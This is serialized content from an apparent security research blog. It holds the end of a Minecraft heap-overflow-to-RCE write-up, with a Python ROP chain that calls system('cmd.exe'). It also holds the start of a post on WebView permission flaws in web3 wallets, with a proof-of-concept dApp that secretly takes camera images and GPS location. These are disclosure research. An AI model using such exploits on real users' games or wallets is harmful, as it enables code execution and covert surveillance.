",{"type":25,"tag":82,"props":159967,"children":159969},{"className":159968},[],[159970],{"type":31,"value":159971},"ucrtbase.dll",{"type":31,"value":159973}," (which exports ",{"type":25,"tag":82,"props":159975,"children":159977},{"className":159976},[],[159978],{"type":31,"value":135678},{"type":31,"value":159980},"). It then calls ",{"type":25,"tag":82,"props":159982,"children":159984},{"className":159983},[],[159985],{"type":31,"value":159986},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":31,"value":159988}," to retrieve the function’s address. Finally, it invokes ",{"type":25,"tag":82,"props":159990,"children":159992},{"className":159991},[],[159993],{"type":31,"value":135678},{"type":31,"value":159995}," with the \"cmd.exe\" string.",{"type":25,"tag":38,"props":159997,"children":159998},{},[159999],{"type":31,"value":160000},"In the exploit script, the ROP chain looks something like this:",{"type":25,"tag":206,"props":160002,"children":160004},{"code":160003,"language":23414,"meta":7,"className":23415,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[160005],{"type":25,"tag":82,"props":160006,"children":160007},{"__ignoreMap":7},[160008,160016,160024,160049,160057,160065,160072,160080,160088,160115,160128,160141,160162,160191,160220,160227,160235,160248,160256,160292,160300,160307,160315,160322,160347,160358,160370],{"type":25,"tag":216,"props":160009,"children":160010},{"class":6916,"line":6917},[160011],{"type":25,"tag":216,"props":160012,"children":160013},{"style":6921},[160014],{"type":31,"value":160015},"# get the address of `GetModuleHandle` to `rax`\n",{"type":25,"tag":216,"props":160017,"children":160018},{"class":6916,"line":6763},[160019],{"type":25,"tag":216,"props":160020,"children":160021},{"style":6958},[160022],{"type":31,"value":160023},"rop.gadget(pop_r8)\n",{"type":25,"tag":216,"props":160025,"children":160026},{"class":6916,"line":6772},[160027,160032,160036,160041,160045],{"type":25,"tag":216,"props":160028,"children":160029},{"style":6958},[160030],{"type":31,"value":160031},"rop.gadget(addr_get_module_handle_a ",{"type":25,"tag":216,"props":160033,"children":160034},{"style":6947},[160035],{"type":31,"value":8270},{"type":25,"tag":216,"props":160037,"children":160038},{"style":6930},[160039],{"type":31,"value":160040}," 0x",{"type":25,"tag":216,"props":160042,"children":160043},{"style":6983},[160044],{"type":31,"value":138794},{"type":25,"tag":216,"props":160046,"children":160047},{"style":6958},[160048],{"type":31,"value":7101},{"type":25,"tag":216,"props":160050,"children":160051},{"class":6916,"line":6999},[160052],{"type":25,"tag":216,"props":160053,"children":160054},{"style":6921},[160055],{"type":31,"value":160056},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":25,"tag":216,"props":160058,"children":160059},{"class":6916,"line":7104},[160060],{"type":25,"tag":216,"props":160061,"children":160062},{"style":6958},[160063],{"type":31,"value":160064},"rop.gadget(mov_rax_r8_28)\n",{"type":25,"tag":216,"props":160066,"children":160067},{"class":6916,"line":7210},[160068],{"type":25,"tag":216,"props":160069,"children":160070},{"emptyLinePlaceholder":16},[160071],{"type":31,"value":7636},{"type":25,"tag":216,"props":160073,"children":160074},{"class":6916,"line":7238},[160075],{"type":25,"tag":216,"props":160076,"children":160077},{"style":6921},[160078],{"type":31,"value":160079},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":25,"tag":216,"props":160081,"children":160082},{"class":6916,"line":7251},[160083],{"type":25,"tag":216,"props":160084,"children":160085},{"style":6958},[160086],{"type":31,"value":160087},"rop.gadget(pop_rcx)\n",{"type":25,"tag":216,"props":160089,"children":160090},{"class":6916,"line":7269},[160091,160096,160101,160106,160110],{"type":25,"tag":216,"props":160092,"children":160093},{"style":6958},[160094],{"type":31,"value":160095},"rop.gadget(",{"type":25,"tag":216,"props":160097,"children":160098},{"style":6930},[160099],{"type":31,"value":160100},"0x",{"type":25,"tag":216,"props":160102,"children":160103},{"style":6983},[160104],{"type":31,"value":160105},"7468B68",{"type":25,"tag":216,"props":160107,"children":160108},{"style":6958},[160109],{"type":31,"value":7030},{"type":25,"tag":216,"props":160111,"children":160112},{"style":6921},[160113],{"type":31,"value":160114},"# offset of \"ucrtbase.dll\" string\n",{"type":25,"tag":216,"props":160116,"children":160117},{"class":6916,"line":7290},[160118,160123],{"type":25,"tag":216,"props":160119,"children":160120},{"style":6958},[160121],{"type":31,"value":160122},"rop.gadget(ret) ",{"type":25,"tag":216,"props":160124,"children":160125},{"style":6921},[160126],{"type":31,"value":160127},"# movaps alignment\n",{"type":25,"tag":216,"props":160129,"children":160130},{"class":6916,"line":7299},[160131,160136],{"type":25,"tag":216,"props":160132,"children":160133},{"style":6958},[160134],{"type":31,"value":160135},"rop.gadget(push_rax_ret) ",{"type":25,"tag":216,"props":160137,"children":160138},{"style":6921},[160139],{"type":31,"value":160140},"# calls `GetModuleHandle`\n",{"type":25,"tag":216,"props":160142,"children":160143},{"class":6916,"line":7551},[160144,160149,160153,160158],{"type":25,"tag":216,"props":160145,"children":160146},{"style":6958},[160147],{"type":31,"value":160148},"rop.literal(u64(",{"type":25,"tag":216,"props":160150,"children":160151},{"style":6930},[160152],{"type":31,"value":7165},{"type":25,"tag":216,"props":160154,"children":160155},{"style":8199},[160156],{"type":31,"value":160157},"\"ucrtbase\"",{"type":25,"tag":216,"props":160159,"children":160160},{"style":6958},[160161],{"type":31,"value":23666},{"type":25,"tag":216,"props":160163,"children":160164},{"class":6916,"line":7568},[160165,160169,160173,160178,160183,160187],{"type":25,"tag":216,"props":160166,"children":160167},{"style":6958},[160168],{"type":31,"value":160148},{"type":25,"tag":216,"props":160170,"children":160171},{"style":6930},[160172],{"type":31,"value":7165},{"type":25,"tag":216,"props":160174,"children":160175},{"style":8199},[160176],{"type":31,"value":160177},"\".dll",{"type":25,"tag":216,"props":160179,"children":160180},{"style":52336},[160181],{"type":31,"value":160182},"\\x00\\x00\\x00\\x00",{"type":25,"tag":216,"props":160184,"children":160185},{"style":8199},[160186],{"type":31,"value":24014},{"type":25,"tag":216,"props":160188,"children":160189},{"style":6958},[160190],{"type":31,"value":23666},{"type":25,"tag":216,"props":160192,"children":160193},{"class":6916,"line":7585},[160194,160198,160202,160207,160212,160216],{"type":25,"tag":216,"props":160195,"children":160196},{"style":6958},[160197],{"type":31,"value":160148},{"type":25,"tag":216,"props":160199,"children":160200},{"style":6930},[160201],{"type":31,"value":7165},{"type":25,"tag":216,"props":160203,"children":160204},{"style":8199},[160205],{"type":31,"value":160206},"\"system",{"type":25,"tag":216,"props":160208,"children":160209},{"style":52336},[160210],{"type":31,"value":160211},"\\x00\\x00",{"type":25,"tag":216,"props":160213,"children":160214},{"style":8199},[160215],{"type":31,"value":24014},{"type":25,"tag":216,"props":160217,"children":160218},{"style":6958},[160219],{"type":31,"value":23666},{"type":25,"tag":216,"props":160221,"children":160222},{"class":6916,"line":7598},[160223],{"type":25,"tag":216,"props":160224,"children":160225},{"emptyLinePlaceholder":16},[160226],{"type":31,"value":7636},{"type":25,"tag":216,"props":160228,"children":160229},{"class":6916,"line":7607},[160230],{"type":25,"tag":216,"props":160231,"children":160232},{"style":6921},[160233],{"type":31,"value":160234},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":25,"tag":216,"props":160236,"children":160237},{"class":6916,"line":7630},[160238,160243],{"type":25,"tag":216,"props":160239,"children":160240},{"style":6958},[160241],{"type":31,"value":160242},"rop.gadget(xchg_rcx_rax) ",{"type":25,"tag":216,"props":160244,"children":160245},{"style":6921},[160246],{"type":31,"value":160247},"# move the return value of `GetModuleHandle` to rcx\n",{"type":25,"tag":216,"props":160249,"children":160250},{"class":6916,"line":7639},[160251],{"type":25,"tag":216,"props":160252,"children":160253},{"style":6958},[160254],{"type":31,"value":160255},"rop.gadget(pop_rdx)\n",{"type":25,"tag":216,"props":160257,"children":160258},{"class":6916,"line":7648},[160259,160263,160267,160271,160275,160279,160283,160287],{"type":25,"tag":216,"props":160260,"children":160261},{"style":6958},[160262],{"type":31,"value":160095},{"type":25,"tag":216,"props":160264,"children":160265},{"style":6930},[160266],{"type":31,"value":160100},{"type":25,"tag":216,"props":160268,"children":160269},{"style":6983},[160270],{"type":31,"value":160105},{"type":25,"tag":216,"props":160272,"children":160273},{"style":6947},[160274],{"type":31,"value":12852},{"type":25,"tag":216,"props":160276,"children":160277},{"style":6930},[160278],{"type":31,"value":160040},{"type":25,"tag":216,"props":160280,"children":160281},{"style":6983},[160282],{"type":31,"value":93218},{"type":25,"tag":216,"props":160284,"children":160285},{"style":6958},[160286],{"type":31,"value":7030},{"type":25,"tag":216,"props":160288,"children":160289},{"style":6921},[160290],{"type":31,"value":160291},"# offset of \"system\" string\n",{"type":25,"tag":216,"props":160293,"children":160294},{"class":6916,"line":7716},[160295],{"type":25,"tag":216,"props":160296,"children":160297},{"style":6958},[160298],{"type":31,"value":160299},"rop.gadget(get_proc_addr)\n",{"type":25,"tag":216,"props":160301,"children":160302},{"class":6916,"line":7724},[160303],{"type":25,"tag":216,"props":160304,"children":160305},{"emptyLinePlaceholder":16},[160306],{"type":31,"value":7636},{"type":25,"tag":216,"props":160308,"children":160309},{"class":6916,"line":7754},[160310],{"type":25,"tag":216,"props":160311,"children":160312},{"style":6921},[160313],{"type":31,"value":160314},"# call `system(\"cmd.exe\")`\n",{"type":25,"tag":216,"props":160316,"children":160317},{"class":6916,"line":7762},[160318],{"type":25,"tag":216,"props":160319,"children":160320},{"style":6958},[160321],{"type":31,"value":160087},{"type":25,"tag":216,"props":160323,"children":160324},{"class":6916,"line":7794},[160325,160329,160333,160338,160342],{"type":25,"tag":216,"props":160326,"children":160327},{"style":6958},[160328],{"type":31,"value":160095},{"type":25,"tag":216,"props":160330,"children":160331},{"style":6930},[160332],{"type":31,"value":160100},{"type":25,"tag":216,"props":160334,"children":160335},{"style":6983},[160336],{"type":31,"value":160337},"7468DB8",{"type":25,"tag":216,"props":160339,"children":160340},{"style":6958},[160341],{"type":31,"value":7030},{"type":25,"tag":216,"props":160343,"children":160344},{"style":6921},[160345],{"type":31,"value":160346},"# offset of \"cmd.exe\" string\n",{"type":25,"tag":216,"props":160348,"children":160349},{"class":6916,"line":7802},[160350,160354],{"type":25,"tag":216,"props":160351,"children":160352},{"style":6958},[160353],{"type":31,"value":160122},{"type":25,"tag":216,"props":160355,"children":160356},{"style":6921},[160357],{"type":31,"value":160127},{"type":25,"tag":216,"props":160359,"children":160360},{"class":6916,"line":7862},[160361,160365],{"type":25,"tag":216,"props":160362,"children":160363},{"style":6958},[160364],{"type":31,"value":160135},{"type":25,"tag":216,"props":160366,"children":160367},{"style":6921},[160368],{"type":31,"value":160369},"# calls `system`\n",{"type":25,"tag":216,"props":160371,"children":160372},{"class":6916,"line":12995},[160373,160377,160381,160386,160391,160395],{"type":25,"tag":216,"props":160374,"children":160375},{"style":6958},[160376],{"type":31,"value":160148},{"type":25,"tag":216,"props":160378,"children":160379},{"style":6930},[160380],{"type":31,"value":7165},{"type":25,"tag":216,"props":160382,"children":160383},{"style":8199},[160384],{"type":31,"value":160385},"\"cmd.exe",{"type":25,"tag":216,"props":160387,"children":160388},{"style":52336},[160389],{"type":31,"value":160390},"\\x00",{"type":25,"tag":216,"props":160392,"children":160393},{"style":8199},[160394],{"type":31,"value":24014},{"type":25,"tag":216,"props":160396,"children":160397},{"style":6958},[160398],{"type":31,"value":23666},{"type":25,"tag":607,"props":160400,"children":160402},{"id":160401},"demo",[160403],{"type":31,"value":160404},"Demo",{"type":25,"tag":38,"props":160406,"children":160407},{},[160408],{"type":31,"value":160409},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":25,"tag":135784,"props":160411,"children":160414},{"className":160412,"controls":16},[145750,160413],"blog-video-wide",[160415,160416,160420],{"type":31,"value":145753},{"type":25,"tag":144989,"props":160417,"children":160419},{"src":160418,"type":135782},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":31,"value":145759},{"type":25,"tag":26,"props":160422,"children":160423},{"id":32886},[160424],{"type":31,"value":22901},{"type":25,"tag":38,"props":160426,"children":160427},{},[160428],{"type":31,"value":160429},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":25,"tag":38,"props":160431,"children":160432},{},[160433],{"type":31,"value":160434},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":25,"tag":38,"props":160436,"children":160437},{},[160438],{"type":31,"value":160439},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":25,"tag":9310,"props":160441,"children":160442},{},[160443],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":160445},[160446,160450,160455,160466],{"id":151106,"depth":6763,"text":151109,"children":160447},[160448,160449],{"id":151141,"depth":6772,"text":151144},{"id":151157,"depth":6772,"text":151160},{"id":151178,"depth":6763,"text":151181,"children":160451},[160452,160453,160454],{"id":151194,"depth":6772,"text":151197},{"id":151282,"depth":6772,"text":151285},{"id":153582,"depth":6772,"text":153585},{"id":9364,"depth":6763,"text":9367,"children":160456},[160457,160458,160459,160460,160461,160462,160463,160464,160465],{"id":153689,"depth":6772,"text":153692},{"id":153714,"depth":6772,"text":153717},{"id":153851,"depth":6772,"text":153854},{"id":156015,"depth":6772,"text":156018},{"id":156377,"depth":6772,"text":156380},{"id":157197,"depth":6772,"text":157200},{"id":159311,"depth":6772,"text":159314},{"id":159929,"depth":6772,"text":159932},{"id":160401,"depth":6772,"text":160404},{"id":32886,"depth":6763,"text":22901},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":160471,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":160472,"description":160473,"date":160474,"author":160475,"image":160477,"isFeatured":16,"onBlogPage":16,"tags":160479,"body":160481,"_type":6792,"_id":162804,"_source":6794,"_file":162805,"_stem":162806,"_extension":6797},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[35157,35156,160476],"nikolaos",{"src":160478,"width":101220,"height":17574},"/posts/insecure-webview-integrations/title.png",[36097,135890,160480],"webview",{"type":22,"children":160482,"toc":162791},[160483,160488,160493,160499,160504,160509,160514,160520,160525,160531,160553,160566,160586,160600,160606,160620,160628,160633,160639,160644,160653,160674,160818,160823,160829,160834,160839,160853,160857,160862,160880,162308,162312,162317,162329,162338,162343,162349,162371,162379,162384,162390,162395,162413,162418,162424,162437,162719,162747,162760,162765,162778,162782,162787],{"type":25,"tag":38,"props":160484,"children":160485},{},[160486],{"type":31,"value":160487},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":25,"tag":38,"props":160489,"children":160490},{},[160491],{"type":31,"value":160492},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":25,"tag":453,"props":160494,"children":160496},{"id":160495},"exploiting-mobile-webviews",[160497],{"type":31,"value":160498},"Exploiting Mobile WebViews",{"type":25,"tag":38,"props":160500,"children":160501},{},[160502],{"type":31,"value":160503},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":25,"tag":38,"props":160505,"children":160506},{},[160507],{"type":31,"value":160508},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":25,"tag":38,"props":160510,"children":160511},{},[160512],{"type":31,"value":160513},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":25,"tag":26,"props":160515,"children":160517},{"id":160516},"handling-webview-permissions",[160518],{"type":31,"value":160519},"Handling WebView permissions",{"type":25,"tag":38,"props":160521,"children":160522},{},[160523],{"type":31,"value":160524},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":25,"tag":607,"props":160526,"children":160528},{"id":160527},"android",[160529],{"type":31,"value":160530},"Android",{"type":25,"tag":38,"props":160532,"children":160533},{},[160534,160536,160543,160545,160551],{"type":31,"value":160535},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":25,"tag":162,"props":160537,"children":160540},{"href":160538,"rel":160539},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[166],[160541],{"type":31,"value":160542},"onPermissionRequest",{"type":31,"value":160544},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":25,"tag":82,"props":160546,"children":160548},{"className":160547},[],[160549],{"type":31,"value":160550},"PermissionRequest",{"type":31,"value":160552}," object where the WebView developers must decide whether to grant or deny it.",{"type":25,"tag":34,"props":160554,"children":160555},{},[160556],{"type":25,"tag":38,"props":160557,"children":160558},{},[160559,160561,160564],{"type":31,"value":160560},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":25,"tag":216,"props":160562,"children":160563},{},[],{"type":31,"value":160565},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":25,"tag":38,"props":160567,"children":160568},{},[160569,160571,160577,160579,160585],{"type":31,"value":160570},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":25,"tag":82,"props":160572,"children":160574},{"className":160573},[],[160575],{"type":31,"value":160576},"getOrigin()",{"type":31,"value":160578}," and the requested permissions with ",{"type":25,"tag":82,"props":160580,"children":160582},{"className":160581},[],[160583],{"type":31,"value":160584},"getResources()",{"type":31,"value":179},{"type":25,"tag":38,"props":160587,"children":160588},{},[160589,160591,160598],{"type":31,"value":160590},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":25,"tag":162,"props":160592,"children":160595},{"href":160593,"rel":160594},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[166],[160596],{"type":31,"value":160597},"webview_shell",{"type":31,"value":160599},". In this instance, no origin checks are performed.",{"type":25,"tag":607,"props":160601,"children":160603},{"id":160602},"ios",[160604],{"type":31,"value":160605},"iOS",{"type":25,"tag":38,"props":160607,"children":160608},{},[160609,160611,160618],{"type":31,"value":160610},"On the contrary, iOS ",{"type":25,"tag":162,"props":160612,"children":160615},{"href":160613,"rel":160614},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[166],[160616],{"type":31,"value":160617},"documentation",{"type":31,"value":160619}," states that:",{"type":25,"tag":34,"props":160621,"children":160622},{},[160623],{"type":25,"tag":38,"props":160624,"children":160625},{},[160626],{"type":31,"value":160627},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":25,"tag":38,"props":160629,"children":160630},{},[160631],{"type":31,"value":160632},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":25,"tag":26,"props":160634,"children":160636},{"id":160635},"the-shortcomings-of-webview-implementations",[160637],{"type":31,"value":160638},"The shortcomings of WebView implementations",{"type":25,"tag":38,"props":160640,"children":160641},{},[160642],{"type":31,"value":160643},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":25,"tag":35302,"props":160645,"children":160646},{"style":35304},[160647],{"type":25,"tag":6461,"props":160648,"children":160652},{"src":160649,"alt":160650,"style":160651},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":25,"tag":38,"props":160654,"children":160655},{},[160656,160658,160664,160666,160672],{"type":31,"value":160657},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":25,"tag":82,"props":160659,"children":160661},{"className":160660},[],[160662],{"type":31,"value":160663},"react-native-webview",{"type":31,"value":160665},". If we take a look at how they handle a request that reaches the ",{"type":25,"tag":162,"props":160667,"children":160670},{"href":160668,"rel":160669},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[166],[160671],{"type":31,"value":160542},{"type":31,"value":160673}," method, we see a similar pattern.",{"type":25,"tag":206,"props":160675,"children":160679},{"className":160676,"code":160677,"language":160678,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[160680],{"type":25,"tag":82,"props":160681,"children":160682},{"__ignoreMap":7},[160683,160691,160720,160780,160800,160811],{"type":25,"tag":216,"props":160684,"children":160685},{"class":6916,"line":6917},[160686],{"type":25,"tag":216,"props":160687,"children":160688},{"style":6921},[160689],{"type":31,"value":160690},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":25,"tag":216,"props":160692,"children":160693},{"class":6916,"line":6763},[160694,160698,160702,160707,160711,160716],{"type":25,"tag":216,"props":160695,"children":160696},{"style":6967},[160697],{"type":31,"value":19531},{"type":25,"tag":216,"props":160699,"children":160700},{"style":6958},[160701],{"type":31,"value":7010},{"type":25,"tag":216,"props":160703,"children":160704},{"style":6941},[160705],{"type":31,"value":160706},"requestedAndroidPermissions",{"type":25,"tag":216,"props":160708,"children":160709},{"style":6958},[160710],{"type":31,"value":179},{"type":25,"tag":216,"props":160712,"children":160713},{"style":7041},[160714],{"type":31,"value":160715},"isEmpty",{"type":25,"tag":216,"props":160717,"children":160718},{"style":6958},[160719],{"type":31,"value":95986},{"type":25,"tag":216,"props":160721,"children":160722},{"class":6916,"line":6772},[160723,160728,160732,160737,160741,160746,160750,160755,160759,160763,160768,160772,160776],{"type":25,"tag":216,"props":160724,"children":160725},{"style":6941},[160726],{"type":31,"value":160727},"    request",{"type":25,"tag":216,"props":160729,"children":160730},{"style":6958},[160731],{"type":31,"value":179},{"type":25,"tag":216,"props":160733,"children":160734},{"style":7041},[160735],{"type":31,"value":160736},"grant",{"type":25,"tag":216,"props":160738,"children":160739},{"style":6958},[160740],{"type":31,"value":1844},{"type":25,"tag":216,"props":160742,"children":160743},{"style":6941},[160744],{"type":31,"value":160745},"grantedPermissions",{"type":25,"tag":216,"props":160747,"children":160748},{"style":6958},[160749],{"type":31,"value":179},{"type":25,"tag":216,"props":160751,"children":160752},{"style":7041},[160753],{"type":31,"value":160754},"toArray",{"type":25,"tag":216,"props":160756,"children":160757},{"style":6958},[160758],{"type":31,"value":1844},{"type":25,"tag":216,"props":160760,"children":160761},{"style":6967},[160762],{"type":31,"value":19074},{"type":25,"tag":216,"props":160764,"children":160765},{"style":7369},[160766],{"type":31,"value":160767}," String",{"type":25,"tag":216,"props":160769,"children":160770},{"style":6958},[160771],{"type":31,"value":7695},{"type":25,"tag":216,"props":160773,"children":160774},{"style":6983},[160775],{"type":31,"value":1876},{"type":25,"tag":216,"props":160777,"children":160778},{"style":6958},[160779],{"type":31,"value":107464},{"type":25,"tag":216,"props":160781,"children":160782},{"class":6916,"line":6999},[160783,160788,160792,160796],{"type":25,"tag":216,"props":160784,"children":160785},{"style":6958},[160786],{"type":31,"value":160787},"    grantedPermissions ",{"type":25,"tag":216,"props":160789,"children":160790},{"style":6947},[160791],{"type":31,"value":266},{"type":25,"tag":216,"props":160793,"children":160794},{"style":6930},[160795],{"type":31,"value":74233},{"type":25,"tag":216,"props":160797,"children":160798},{"style":6958},[160799],{"type":31,"value":6961},{"type":25,"tag":216,"props":160801,"children":160802},{"class":6916,"line":7104},[160803,160807],{"type":25,"tag":216,"props":160804,"children":160805},{"style":6967},[160806],{"type":31,"value":20941},{"type":25,"tag":216,"props":160808,"children":160809},{"style":6958},[160810],{"type":31,"value":6961},{"type":25,"tag":216,"props":160812,"children":160813},{"class":6916,"line":7210},[160814],{"type":25,"tag":216,"props":160815,"children":160816},{"style":6958},[160817],{"type":31,"value":7868},{"type":25,"tag":38,"props":160819,"children":160820},{},[160821],{"type":31,"value":160822},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":25,"tag":607,"props":160824,"children":160826},{"id":160825},"real-world-exploitation",[160827],{"type":31,"value":160828},"Real world exploitation",{"type":25,"tag":38,"props":160830,"children":160831},{},[160832],{"type":31,"value":160833},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":25,"tag":38,"props":160835,"children":160836},{},[160837],{"type":31,"value":160838},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":25,"tag":38,"props":160840,"children":160841},{},[160842,160844,160851],{"type":31,"value":160843},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":25,"tag":162,"props":160845,"children":160848},{"href":160846,"rel":160847},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[166],[160849],{"type":31,"value":160850},"Justson",{"type":31,"value":160852},", used by a popular wallet in the Stellar ecosystem.",{"type":25,"tag":631,"props":160854,"children":160855},{"id":43462},[160856],{"type":31,"value":38786},{"type":25,"tag":38,"props":160858,"children":160859},{},[160860],{"type":31,"value":160861},"In order to exploit this issue, we assume the following preconditions:",{"type":25,"tag":6705,"props":160863,"children":160864},{},[160865,160870,160875],{"type":25,"tag":2037,"props":160866,"children":160867},{},[160868],{"type":31,"value":160869},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":25,"tag":2037,"props":160871,"children":160872},{},[160873],{"type":31,"value":160874},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":25,"tag":2037,"props":160876,"children":160877},{},[160878],{"type":31,"value":160879},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":25,"tag":206,"props":160881,"children":160883},{"className":53984,"code":160882,"language":36339,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    